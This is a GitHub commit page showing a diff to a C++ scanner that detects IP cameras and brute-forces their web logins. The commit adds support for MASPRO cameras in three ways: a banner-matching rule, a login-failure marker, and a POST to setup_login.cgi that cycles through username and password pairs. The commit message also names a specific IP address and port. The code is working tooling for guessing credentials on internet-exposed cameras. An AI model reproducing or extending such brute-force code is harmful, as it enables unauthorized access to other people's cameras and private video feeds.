Skip to content

Commit

Permalink
Added MASPRO camera support. (222.12.209.75:8080)
Browse files Browse the repository at this point in the history
  • Loading branch information
cora32 committed Apr 19, 2015
1 parent a9152d5 commit 871d22c
Show file tree
Hide file tree
Showing 4 changed files with 37 additions and 33 deletions.
4 changes: 1 addition & 3 deletions Connector.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -155,9 +155,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);

if(postData != NULL) {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
};
if(postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

if(customHeaders != NULL) {

Expand Down
52 changes: 28 additions & 24 deletions IPCAuth.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -53,19 +53,22 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
negVector.push_back("var check=\"0\"");
negVector.push_back("var authLevel =\"0\";");
}
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{
negVector.push_back("AAA()");
negVector.push_back("Имя или пароль неверные!");
negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect");
}
}
else if (strcmp(SPEC, "IEORFOREFOX") == 0)
{
negVector.push_back("AAA()");
negVector.push_back("Имя или пароль неверные!");
negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect");
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
negVector.push_back("action=\"setup_login.cgi\"");
}
else
{
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");

return lps;
};

Expand Down Expand Up @@ -128,20 +131,23 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
doPost = true;
sprintf(request, "%s:%d/rpc/login", ip, port);
sprintf(postData, "user=%s&password=%s", login, pass);
}
else if(strcmp(SPEC, "DVS") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login", ip, port);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
}
}
else if (strcmp(SPEC, "DVS") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login", ip, port);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
}

std::string buffer;
if(doPost) {
res = Connector::nConnect(request, port, &buffer, postData);
} else {
res = Connector::nConnect(request, port, &buffer);
}
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
else res = Connector::nConnect(request, port, &buffer);

if (res == -2) return lps;
else if (res != -1) {
Expand Down Expand Up @@ -177,12 +183,10 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);

//BruteUtils::BConInc();
++baCount;
++BrutingThrds;
lopaStr lps = IPCBrute(ip, port, SPEC);
--BrutingThrds;
//BruteUtils::BConDec();

return lps;
} else {
Expand Down
12 changes: 7 additions & 5 deletions finder.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -376,10 +376,11 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
&& Utils::ustrstr(buffcpy, "ieorforefox") != -1
&& Utils::ustrstr(buffcpy, "sofari") != -1
) return 49; //IEORFOREFOX
if (Utils::ustrstr(buffcpy, "seyeon") != -1
if (Utils::ustrstr(buffcpy, "seyeon") != -1
&& (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
) return 50; //Network Video System
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO

if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
Expand Down Expand Up @@ -1193,9 +1194,6 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
lopaStr lps = {"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));

IPC ipc;
lps = ipc.IPCLobby(ip, port, SPEC);
Expand Down Expand Up @@ -2540,6 +2538,10 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
{
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
}
else if (flag == 51) //MASPRO
{
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
}
else if (flag == 20) //AXIS Camera
{
_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);
Expand Down
2 changes: 1 addition & 1 deletion version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
24B93-D0
24B93-9B

0 comments on commit 871d22c

Please sign in to comment.